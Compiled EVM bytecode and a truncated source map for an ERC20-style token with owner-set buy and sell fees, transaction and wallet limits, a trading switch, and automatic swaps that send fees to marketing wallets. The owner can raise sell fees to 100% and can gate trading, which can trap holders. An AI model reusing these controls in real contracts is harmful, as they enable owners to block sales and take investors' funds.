7610443611669565b808202811582820484141761044357610443611669565b5f826116d457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116fd575f80fd5b815161051a81611508565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117565784516001600160a01b031683529383019391830191600101611731565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611789575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c66fe4ce3f158eb85b987b76b461e9bb857cffca9aabf5ff466a5c6de947581364736f6c63430008150033

0x608060405260043610610129575f3560e01c8063893d20e8116100a8578063a9e757231161006d578063a9e7572314610368578063aa4bde281461037d578063b09d6d5d14610392578063dd62ed3e146103b1578063ef45da3e146103f5578063f2fde38b14610414575f80fd5b8063893d20e8146102b95780638c0b5e22146102e957806395d89b41146102fe578063a8b089821461032a578063a9059cbb14610349575f80fd5b8063313ce567116100ee578063313ce5671461021257806347f2c3631461022d57806370a0823114610243578063715018a614610277578063768dc7101461028b575f80fd5b806306fdde0314610134578063095ea7b31461017557806318160ddd146101a457806323b872dd146101c65780632f54bf6e146101e5575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820190915260078152660a0c2e4c288caf60cb1b60208201525b60405161016c91906114bd565b60405180910390f35b348015610180575f80fd5b5061019461018f36600461151f565b610433565b604051901515815260200161016c565b3480156101af575f80fd5b506101b8610449565b60405190815260200161016c565b3480156101d1575f80fd5b506101946101e0366004611549565b6104b9565b3480156101f0575f80fd5b506101946101ff366004611587565b5f546001600160a01b0391821691161490565b34801561021d575f80fd5b506040516012815260200161016c565b348015610238575f80fd5b50610241610521565b005b34801561024e575f80fd5b506101b861025d366004611587565b6001600160a01b03165f9081526007602052604090205490565b348015610282575f80fd5b50610241610568565b348015610296575f80fd5b506101946102a5366004611587565b60096020525f908152604090205460ff1681565b3480156102c4575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016c565b3480156102f4575f80fd5b506101b860145481565b348015610309575f80fd5b506040805180820190915260048152630a0a488b60e31b602082015261015f565b348015610335575f80fd5b506003546102d1906001600160a01b031681565b348015610354575f80fd5b5061019461036336600461151f565b6105d5565b348015610373575f80fd5b506101b860155481565b348015610388575f80fd5b506101b860165481565b34801561039d575f80fd5b506102416103ac3660046115a2565b6105e1565b3480156103bc575f80fd5b506101b86103cb3660046115e9565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b348015610400575f80fd5b5061024161040f366004611620565b6106be565b34801561041f575f80fd5b5061024161042e366004611587565b6107f1565b5f61043f33848461086d565b5060015b92915050565b60076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5461dead5f9081527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d5460015491926104b49290916104ae9190610990565b90610990565b905090565b5f6104c584848461099b565b6105168433610511856040518060600160405280602881526020016117a3602891396001600160a01b038a165f9081526008602090815260408083203384529091529020549190610ea5565b61086d565b5060015b9392505050565b5f546001600160a01b031633146105535760405162461bcd60e51b815260040161054a90611649565b60405180910390fd5b6003805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105915760405162461bcd60e51b815260040161054a90611649565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f61043f33848461099b565b5f546001600160a01b0316331461060a5760405162461bcd60e51b815260040161054a90611649565b600c879055600d869055600f859055600e8490556010839055601182905560128190556013548311801590610643575060135460115411155b8015610653575060135460125411155b6106b55760405162461bcd60e51b815260206004820152602d60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526c6f7265207468616e203130302560981b606482015260840161054a565b50505050505050565b5f546001600160a01b031633146106e75760405162461bcd60e51b815260040161054a90611649565b5f61070961271061070386600154610ed090919063ffffffff16565b90610edb565b90505f61072761271061070386600154610ed090919063ffffffff16565b90505f61074561271061070386600154610ed090919063ffffffff16565b60148490556015839055601681905590505f6107706103e8610703600561076a610449565b90610ed0565b90508084101580156107825750808310155b801561078e5750808210155b6106b55760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161054a565b5f546001600160a01b0316331461081a5760405162461bcd60e51b815260040161054a90611649565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108cf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054a565b6001600160a01b0382166109305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054a565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61051a828461167d565b6001600160a01b0383166109ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054a565b6001600160a01b038216610a615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054a565b6001600160a01b0383165f9081526009602052604090205460ff16158015610aa157506001600160a01b0382165f9081526009602052604090205460ff16155b15610af157600354600160a01b900460ff16610af15760405162461bcd60e51b815260206004820152600f60248201526e17da5cd51c985919515b98589b1959608a1b604482015260640161054a565b6001600160a01b0383165f9081526009602052604090205460ff16158015610b3157506001600160a01b0382165f9081526009602052604090205460ff16155b8015610b4b57506003546001600160a01b03838116911614155b8015610b6257506001600160a01b03821661dead14155b15610bda576016546001600160a01b0383165f90815260076020526040902054610b8c9083610ee6565b1115610bda5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161054a565b6003546001600160a01b03848116911614610c795760155481111580610c1757506001600160a01b0383165f9081526009602052604090205460ff165b80610c3957506001600160a01b0382165f9081526009602052604090205460ff165b610c795760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054a565b60145481111580610ca157506001600160a01b0383165f9081526009602052604090205460ff165b80610cc357506001600160a01b0382165f9081526009602052604090205460ff165b610d035760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054a565b6003546001600160a01b038381169116148015610d3857506001600160a01b0383165f9081526009602052604090205460ff16155b15610d5557600160045f828254610d4f9190611690565b90915550505b610d60838383610ef1565b15610d8e57305f90815260076020526040902054610d8990610d8490600a54610fa8565b610fbc565b5f6004555b600354600160a01b900460ff161580610dbf57506001600160a01b0383165f9081526009602052604090205460ff16155b15610dff576001600160a01b0383165f90815260076020526040902054610de69082610990565b6001600160a01b0384165f908152600760205260409020555b5f610e0a848461112c565b610e145781610e1f565b610e1f848484611170565b6001600160a01b0384165f90815260076020526040902054909150610e449082610ee6565b6001600160a01b038085165f8181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e979085815260200190565b60405180910390a350505050565b5f8184841115610ec85760405162461bcd60e51b815260040161054a91906114bd565b505050900390565b5f61051a82846116a3565b5f61051a82846116ba565b5f61051a8284611690565b600b54305f90815260076020526040812054600554919280851015929110159060ff16158015610f2a5750600354600160a81b900460ff165b8015610f3f5750600354600160a01b900460ff165b8015610f485750815b8015610f6c57506001600160a01b0386165f9081526009602052604090205460ff16155b8015610f8557506003546001600160a01b038681169116145b8015610f95575060065460045410155b8015610f9e5750805b9695505050505050565b5f818311610fb6578261051a565b50919050565b6005805460ff19166001908117909155600e54600d54600c545f93610ff59360029361076a939192610fef928391610ee6565b90610ee6565b90505f61101182610703600c5486610ed090919063ffffffff16565b90505f61101e8483610990565b90504761102a82611272565b5f6110354783610990565b90505f611057611050600c548861099090919063ffffffff16565b8390610edb565b90505f61106f600c5483610ed090919063ffffffff16565b905080156110815761108186826113c2565b600d545f906110959061076a856002610ed0565b905080156110d6576018546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110d4573d5f803e3d5ffd5b505b478015611116576017546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611114573d5f803e3d5ffd5b505b50506005805460ff191690555050505050505050565b6001600160a01b0382165f9081526009602052604081205460ff1615801561051a5750506001600160a01b03165f9081526009602052604090205460ff1615919050565b5f8061117c8585611473565b111561126b575f61119e6111908686611473565b60135461076a908690610edb565b305f908152600760205260409020549091506111ba9082610ee6565b305f81815260076020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061120a9085815260200190565b60405180910390a35f600f5411801561122d5750600f5461122b8686611473565b115b15611259576112593061dead611254600f5461076a60135489610edb90919063ffffffff16565b61099b565b6112638382610990565b91505061051a565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112a5576112a56116d9565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112fc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132091906116ed565b81600181518110611333576113336116d9565b6001600160a01b039283166020918202929092010152600254611359913091168461086d565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113919085905f90869030904290600401611708565b5f604051808303815f87803b1580156113a8575f80fd5b505af11580156113ba573d5f803e3d5ffd5b505050505050565b6002546113da9030906001600160a01b03168461086d565b60025460195460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611447573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061146c9190611777565b5050505050565b6003545f906001600160a01b03908116908316036114945750601154610443565b6003546001600160a01b03908116908416036114b35750601054610443565b5060125492915050565b5f6020808352835180828501525f5b818110156114e8578581018301518582016040015282016114cc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461151c575f80fd5b50565b5f8060408385031215611530575f80fd5b823561153b81611508565b946020939093013593505050565b5f805f6060848603121561155b575f80fd5b833561156681611508565b9250602084013561157681611508565b929592945050506040919091013590565b5f60208284031215611597575f80fd5b813561051a81611508565b5f805f805f805f60e0888a0312156115b8575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f80604083850312156115fa575f80fd5b823561160581611508565b9150602083013561161581611508565b809150509250929050565b5f805f60608486031215611632575f80fd5b505081359360208301359350604090920135919050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044357610443611669565b8082018082111561044357610443611669565b808202811582820484141761044357610443611669565b5f826116d457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116fd575f80fd5b815161051a81611508565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117565784516001600160a01b031683529383019391830191600101611731565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611789575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c66fe4ce3f158eb85b987b76b461e9bb857cffca9aabf5ff466a5c6de947581364736f6c63430008150033

3941:10137:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6305:67;;;;;;;;;;-1:-1:-1;6365:5:0;;;;;;;;;;;;-1:-1:-1;;;6365:5:0;;;;6305:67;;;;;;;:::i;:::-;;;;;;;;6999:133;;;;;;;;;;-1:-1:-1;6999:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6999:133:0;1023:187:1;7138:127:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;7138:127:0;1215:177:1;8354:309:0;;;;;;;;;;-1:-1:-1;8354:309:0;;;;;:::i;:::-;;:::i;2710:87::-;;;;;;;;;;-1:-1:-1;2710:87:0;;;;;:::i;:::-;2765:4;2790:5;-1:-1:-1;;;;;2779:16:0;;;2790:5;;2779:16;;2710:87;6455:67;;;;;;;;;;-1:-1:-1;6455:67:0;;4148:2;2252:36:1;;2240:2;2225:18;6455:67:0;2110:184:1;7735:65:0;;;;;;;;;;;;;:::i;:::-;;6612:103;;;;;;;;;;-1:-1:-1;6612:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6695:18:0;6678:7;6695:18;;;:9;:18;;;;;;;6612:103;2920:106;;;;;;;;;;;;;:::i;4588:51::-;;;;;;;;;;-1:-1:-1;4588:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6528:78;;;;;;;;;;-1:-1:-1;6580:7:0;6598:5;-1:-1:-1;;;;;6598:5:0;6528:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6528:78:0;2299:203:1;5146:54:0;;;;;;;;;;;;;;;;6378:71;;;;;;;;;;-1:-1:-1;6440:7:0;;;;;;;;;;;;-1:-1:-1;;;6440:7:0;;;;6378:71;;4253:26;;;;;;;;;;-1:-1:-1;4253:26:0;;;;-1:-1:-1;;;;;4253:26:0;;;6721:139;;;;;;;;;;-1:-1:-1;6721:139:0;;;;;:::i;:::-;;:::i;5207:60::-;;;;;;;;;;;;;;;;5274:58;;;;;;;;;;;;;;;;10571:491;;;;;;;;;;-1:-1:-1;10571:491:0;;;;;:::i;:::-;;:::i;6866:127::-;;;;;;;;;;-1:-1:-1;6866:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6964:18:0;;;6947:7;6964:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6866:127;7806:542;;;;;;;;;;-1:-1:-1;7806:542:0;;;;;:::i;:::-;;:::i;2803:111::-;;;;;;;;;;-1:-1:-1;2803:111:0;;;;;:::i;:::-;;:::i;6999:133::-;7074:4;7081:37;7090:10;7102:7;7111:6;7081:8;:37::i;:::-;-1:-1:-1;7126:4:0;6999:133;;;;;:::o;7138:127::-;6695:9;:18;;;;5372:42;7191:7;6695:18;;;;;7208:7;;7191;;7208:55;;6695:18;;7208:28;;:7;:11;:28::i;:::-;:32;;:55::i;:::-;7201:62;;7138:127;:::o;8354:309::-;8452:4;8469:36;8479:6;8487:9;8498:6;8469:9;:36::i;:::-;8516:117;8525:6;8533:10;8545:87;8581:6;8545:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8545:19:0;;;;;;:11;:19;;;;;;;;8565:10;8545:31;;;;;;;;;:87;:35;:87::i;:::-;8516:8;:117::i;:::-;-1:-1:-1;8651:4:0;8354:309;;;;;;:::o;7735:65::-;2765:4;2790:5;-1:-1:-1;;;;;2790:5:0;2677:10;2779:16;2661:38;;;;-1:-1:-1;;;2661:38:0;;;;;;;:::i;:::-;;;;;;;;;7776:15:::1;:22:::0;;-1:-1:-1;;;;7776:22:0::1;-1:-1:-1::0;;;7776:22:0::1;::::0;;7735:65::o;2920:106::-;2765:4;2790:5;-1:-1:-1;;;;;2790:5:0;2677:10;2779:16;2661:38;;;;-1:-1:-1;;;2661:38:0;;;;;;;:::i;:::-;2983:1:::1;2967:18:::0;;-1:-1:-1;;;;;;2967:18:0::1;::::0;;2992:32:::1;::::0;2445:51:1;;;2992:32:0::1;::::0;2433:2:1;2418:18;2992:32:0::1;;;;;;;2920:106::o:0;6721:139::-;6799:4;6806:40;6816:10;6828:9;6839:6;6806:9;:40::i;10571:491::-;2765:4;2790:5;-1:-1:-1;;;;;2790:5:0;2677:10;2779:16;2661:38;;;;-1:-1:-1;;;2661:38:0;;;;;;;:::i;:::-;10748:12:::1;:25:::0;;;10775:12:::1;:25:::0;;;10802:7:::1;:15:::0;;;10819:14:::1;:29:::0;;;10850:8:::1;:17:::0;;;10869:7:::1;:15:::0;;;10886:11:::1;:20:::0;;;10937:11:::1;::::0;10925:23;::::1;::::0;::::1;::::0;:49:::1;;;10963:11;;10952:7;;:22;;10925:49;:79;;;;;10993:11;;10978;;:26;;10925:79;10917:137;;;::::0;-1:-1:-1;;;10917:137:0;;4614:2:1;10917:137:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:43;4796:19;;10917:137:0::1;4412:409:1::0;10917:137:0::1;10571:491:::0;;;;;;;:::o;7806:542::-;2765:4;2790:5;-1:-1:-1;;;;;2790:5:0;2677:10;2779:16;2661:38;;;;-1:-1:-1;;;2661:38:0;;;;;;;:::i;:::-;7911:13:::1;7927:28;7949:5;7927:17;7939:4;7927:7;;:11;;:17;;;;:::i;:::-;:21:::0;::::1;:28::i;:::-;7911:44;;7957:19;7979:29;8002:5;7979:18;7991:5;7979:7;;:11;;:18;;;;:::i;:29::-;7957:51;;8010:17;8030:31;8055:5;8030:20;8042:7;8030;;:11;;:20;;;;:::i;:31::-;8072:11;:19:::0;;;8093:17:::1;:31:::0;;;8126:15:::1;:27:::0;;;8010:51;-1:-1:-1;;8180:30:0::1;8205:4;8180:20;8198:1;8180:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;8164:46;;8238:5;8229;:14;;:38;;;;;8262:5;8247:11;:20;;8229:38;:60;;;;;8284:5;8271:9;:18;;8229:60;8221:119;;;::::0;-1:-1:-1;;;8221:119:0;;5028:2:1;8221:119:0::1;::::0;::::1;5010:21:1::0;5067:2;5047:18;;;5040:30;5106:34;5086:18;;;5079:62;-1:-1:-1;;;5157:18:1;;;5150:44;5211:19;;8221:119:0::1;4826:410:1::0;2803:111:0;2765:4;2790:5;-1:-1:-1;;;;;2790:5:0;2677:10;2779:16;2661:38;;;;-1:-1:-1;;;2661:38:0;;;;;;;:::i;:::-;2869:5:::1;:11:::0;;-1:-1:-1;;;;;;2869:11:0::1;-1:-1:-1::0;;;;;2869:11:0;::::1;::::0;;::::1;::::0;;;2887:25:::1;::::0;2445:51:1;;;2887:25:0::1;::::0;2433:2:1;2418:18;2887:25:0::1;;;;;;;2803:111:::0;:::o;8669:335::-;-1:-1:-1;;;;;8762:19:0;;8754:68;;;;-1:-1:-1;;;8754:68:0;;5659:2:1;8754:68:0;;;5641:21:1;5698:2;5678:18;;;5671:30;5737:34;5717:18;;;5710:62;-1:-1:-1;;;5788:18:1;;;5781:34;5832:19;;8754:68:0;5457:400:1;8754:68:0;-1:-1:-1;;;;;8841:21:0;;8833:68;;;;-1:-1:-1;;;8833:68:0;;6064:2:1;8833:68:0;;;6046:21:1;6103:2;6083:18;;;6076:30;6142:34;6122:18;;;6115:62;-1:-1:-1;;;6193:18:1;;;6186:32;6235:19;;8833:68:0;5862:398:1;8833:68:0;-1:-1:-1;;;;;8912:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8964:32;;1361:25:1;;;8964:32:0;;1334:18:1;8964:32:0;;;;;;;8669:335;;;:::o;447:98::-;505:7;532:5;536:1;532;:5;:::i;9049:1516::-;-1:-1:-1;;;;;9146:20:0;;9138:70;;;;-1:-1:-1;;;9138:70:0;;6732:2:1;9138:70:0;;;6714:21:1;6771:2;6751:18;;;6744:30;6810:34;6790:18;;;6783:62;-1:-1:-1;;;6861:18:1;;;6854:35;6906:19;;9138:70:0;6530:401:1;9138:70:0;-1:-1:-1;;;;;9227:23:0;;9219:71;;;;-1:-1:-1;;;9219:71:0;;7138:2:1;9219:71:0;;;7120:21:1;7177:2;7157:18;;;7150:30;7216:34;7196:18;;;7189:62;-1:-1:-1;;;7267:18:1;;;7260:33;7310:19;;9219:71:0;6936:399:1;9219:71:0;-1:-1:-1;;;;;9305:26:0;;;;;;:18;:26;;;;;;;;9304:27;:61;;;;-1:-1:-1;;;;;;9336:29:0;;;;;;:18;:29;;;;;;;;9335:30;9304:61;9301:111;;;9375:15;;-1:-1:-1;;;9375:15:0;;;;9367:43;;;;-1:-1:-1;;;9367:43:0;;7542:2:1;9367:43:0;;;7524:21:1;7581:2;7561:18;;;7554:30;-1:-1:-1;;;7600:18:1;;;7593:45;7655:18;;9367:43:0;7340:339:1;9367:43:0;-1:-1:-1;;;;;9426:26:0;;;;;;:18;:26;;;;;;;;9425:27;:61;;;;-1:-1:-1;;;;;;9457:29:0;;;;;;:18;:29;;;;;;;;9456:30;9425:61;:98;;;;-1:-1:-1;9511:11:0;;-1:-1:-1;;;;;9490:33:0;;;9511:11;;9490:33;;9425:98;:128;;;;-1:-1:-1;;;;;;9527:26:0;;5372:42;9527:26;;9425:128;9422:241;;;9611:15;;-1:-1:-1;;;;;9574:20:0;;;;;;:9;:20;;;;;;:32;;9599:6;9574:24;:32::i;:::-;9573:53;;9565:96;;;;-1:-1:-1;;;9565:96:0;;7886:2:1;9565:96:0;;;7868:21:1;7925:2;7905:18;;;7898:30;7964:32;7944:18;;;7937:60;8014:18;;9565:96:0;7684:354:1;9565:96:0;9686:11;;-1:-1:-1;;;;;9676:21:0;;;9686:11;;9676:21;9673:148;;9717:17;;9707:6;:27;;:57;;;-1:-1:-1;;;;;;9738:26:0;;;;;;:18;:26;;;;;;;;9707:57;:90;;;-1:-1:-1;;;;;;9768:29:0;;;;;;:18;:29;;;;;;;;9707:90;9699:120;;;;-1:-1:-1;;;9699:120:0;;8245:2:1;9699:120:0;;;8227:21:1;8284:2;8264:18;;;8257:30;-1:-1:-1;;;8303:18:1;;;8296:47;8360:18;;9699:120:0;8043:341:1;9699:120:0;9849:11;;9839:6;:21;;:51;;;-1:-1:-1;;;;;;9864:26:0;;;;;;:18;:26;;;;;;;;9839:51;:84;;;-1:-1:-1;;;;;;9894:29:0;;;;;;:18;:29;;;;;;;;9839:84;9831:114;;;;-1:-1:-1;;;9831:114:0;;8245:2:1;9831:114:0;;;8227:21:1;8284:2;8264:18;;;8257:30;-1:-1:-1;;;8303:18:1;;;8296:47;8360:18;;9831:114:0;8043:341:1;9831:114:0;9973:11;;-1:-1:-1;;;;;9960:24:0;;;9973:11;;9960:24;:55;;;;-1:-1:-1;;;;;;9989:26:0;;;;;;:18;:26;;;;;;;;9988:27;9960:55;9957:88;;;10041:1;10017:12;;:26;;;;;;;:::i;:::-;;;;-1:-1:-1;;9957:88:0;10058:43;10075:6;10083:9;10094:6;10058:16;:43::i;:::-;10055:129;;;10134:4;6678:7;6695:18;;;:9;:18;;;;;;10103:52;;10112:42;;10142:11;;10112:3;:42::i;:::-;10103:8;:52::i;:::-;10180:1;10157:12;:25;10055:129;10199:15;;-1:-1:-1;;;10199:15:0;;;;10198:16;;:47;;-1:-1:-1;;;;;;10219:26:0;;;;;;:18;:26;;;;;;;;10218:27;10198:47;10194:107;;;-1:-1:-1;;;;;10269:17:0;;;;;;:9;:17;;;;;;:29;;10291:6;10269:21;:29::i;:::-;-1:-1:-1;;;;;10249:17:0;;;;;;:9;:17;;;;;:49;10194:107;10311:22;10336:31;10349:6;10357:9;10336:12;:31::i;:::-;:88;;10418:6;10336:88;;;10370:45;10389:6;10397:9;10408:6;10370:18;:45::i;:::-;-1:-1:-1;;;;;10458:20:0;;;;;;:9;:20;;;;;;10311:113;;-1:-1:-1;10458:40:0;;10311:113;10458:24;:40::i;:::-;-1:-1:-1;;;;;10435:20:0;;;;;;;:9;:20;;;;;;;:63;;;;10514:43;;;;;;;;;;10542:14;1361:25:1;;1349:2;1334:18;;1215:177;10514:43:0;;;;;;;;9127:1438;9049:1516;;;:::o;871:240::-;991:7;1052:12;1044:6;;;;1036:29;;;;-1:-1:-1;;;1036:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1087:5:0;;;871:240::o;553:98::-;611:7;638:5;642:1;638;:5;:::i;659:98::-;717:7;744:5;748:1;744;:5;:::i;341:98::-;399:7;426:5;430:1;426;:5;:::i;11068:424::-;11211:12;;11274:4;11168;6695:18;;;:9;:18;;;;;;11315:9;;11168:4;;11201:22;;;;;-1:-1:-1;;11256:40:0;;11315:9;;11314:10;:31;;;;-1:-1:-1;11328:17:0;;-1:-1:-1;;;11328:17:0;;;;11314:31;:50;;;;-1:-1:-1;11349:15:0;;-1:-1:-1;;;11349:15:0;;;;11314:50;:62;;;;;11368:8;11314:62;:93;;;;-1:-1:-1;;;;;;11381:26:0;;;;;;:18;:26;;;;;;;;11380:27;11314:93;:121;;;;-1:-1:-1;11424:11:0;;-1:-1:-1;;;;;11411:24:0;;;11424:11;;11411:24;11314:121;:152;;;;;11455:11;;11439:12;;:27;;11314:152;:170;;;;;11470:14;11314:170;11307:177;11068:424;-1:-1:-1;;;;;;11068:424:0:o;13970:105::-;14027:7;14057:1;14053;:5;14052:15;;14066:1;14052:15;;;-1:-1:-1;14062:1:0;13970:105;-1:-1:-1;13970:105:0:o;12048:1054::-;4783:9;:16;;-1:-1:-1;;4783:16:0;4795:4;4783:16;;;;;;12176:14:::1;::::0;12158:12:::1;::::0;12134::::1;::::0;4783:9;;12133:66:::1;::::0;12197:1:::1;::::0;12134:57:::1;::::0;12176:14;;12134:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;12133:66::-;12110:89;;12210:32;12245:42;12274:12;12245:24;12256:12;;12245:6;:10;;:24;;;;:::i;:42::-;12210:77:::0;-1:-1:-1;12298:14:0::1;12315:36;:6:::0;12210:77;12315:10:::1;:36::i;:::-;12298:53:::0;-1:-1:-1;12387:21:0::1;12419:24;12298:53:::0;12419:16:::1;:24::i;:::-;12454:20;12477:41;:21;12503:14:::0;12477:25:::1;:41::i;:::-;12454:64;;12529:19;12550:48;12567:30;12584:12;;12567;:16;;:30;;;;:::i;:::-;12550:12:::0;;:16:::1;:48::i;:::-;12529:69;;12609:29;12641;12657:12;;12641:11;:15;;:29;;;;:::i;:::-;12609:61:::0;-1:-1:-1;12684:34:0;;12681:103:::1;;12720:61;12733:24;12759:21;12720:12;:61::i;:::-;12840:12;::::0;12794:20:::1;::::0;12817:36:::1;::::0;:18:::1;:11:::0;12833:1:::1;12817:15;:18::i;:36::-;12794:59:::0;-1:-1:-1;12867:16:0;;12864:73:::1;;12893:18;::::0;12885:50:::1;::::0;-1:-1:-1;;;;;12893:18:0;;::::1;::::0;12885:50;::::1;;;::::0;12922:12;;12893:18:::1;12885:50:::0;12893:18;12885:50;12922:12;12893:18;12885:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12864:73;12973:21;13008:28:::0;;13005:90:::1;;13046:20;::::0;13038:55:::1;::::0;-1:-1:-1;;;;;13046:20:0;;::::1;::::0;13038:55;::::1;;;::::0;13077:15;;13046:20:::1;13038:55:::0;13046:20;13038:55;13077:15;13046:20;13038:55;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13005:90;-1:-1:-1::0;;4804:9:0;:17;;-1:-1:-1;;4804:17:0;;;-1:-1:-1;;;;;;;;12048:1054:0:o;11498:173::-;-1:-1:-1;;;;;11603:26:0;;11578:4;11603:26;;;:18;:26;;;;;;;;11602:27;:61;;;;-1:-1:-1;;;;;;;11634:29:0;;;;;:18;:29;;;;;;;;11633:30;;11498:173;-1:-1:-1;11498:173:0:o;13351:613::-;13448:7;13508:1;13471:34;13487:6;13495:9;13471:15;:34::i;:::-;:38;13468:474;;;13521:17;13541:63;13569:34;13585:6;13593:9;13569:15;:34::i;:::-;13552:11;;13541:23;;:6;;:10;:23::i;:63::-;13660:4;13642:24;;;;:9;:24;;;;;;13521:83;;-1:-1:-1;13642:39:0;;13521:83;13642:28;:39::i;:::-;13633:4;13615:24;;;;:9;:24;;;;;;;:66;;;;13697:42;;-1:-1:-1;;;;;13697:42:0;;;;;;;13729:9;1361:25:1;;1349:2;1334:18;;1215:177;13697:42:0;;;;;;;;13771:1;13753:7;;:20;:68;;;;;13814:7;;13777:34;13793:6;13801:9;13777:15;:34::i;:::-;:44;13753:68;13750:152;;;13823:77;13841:4;5372:42;13863:36;13891:7;;13863:23;13874:11;;13863:6;:10;;:23;;;;:::i;:36::-;13823:9;:77::i;:::-;13919:21;:6;13930:9;13919:10;:21::i;:::-;13912:28;;;;;13468:474;-1:-1:-1;13950:6:0;13351:613;-1:-1:-1;;13351:613:0:o;7271:458::-;7361:16;;;7375:1;7361:16;;;;;;;;7337:21;;7361:16;;;;;;;;;;-1:-1:-1;7361:16:0;7337:40;;7406:4;7388;7393:1;7388:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7388:23:0;;;:7;;;;;;;;;;:23;;;;7432:14;;:21;;;-1:-1:-1;;;7432:21:0;;;;:14;;;;;:19;;:21;;;;;7388:7;;7432:21;;;;;:14;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7422:4;7427:1;7422:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7422:31:0;;;:7;;;;;;;;;:31;7496:14;;7464:61;;7481:4;;7496:14;7513:11;7464:8;:61::i;:::-;7536:14;;:185;;-1:-1:-1;;;7536:185:0;;-1:-1:-1;;;;;7536:14:0;;;;:65;;:185;;7616:11;;7536:14;;7658:4;;7685;;7705:15;;7536:185;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7326:403;7271:458;:::o;11683:359::-;11796:14;;11764:61;;11781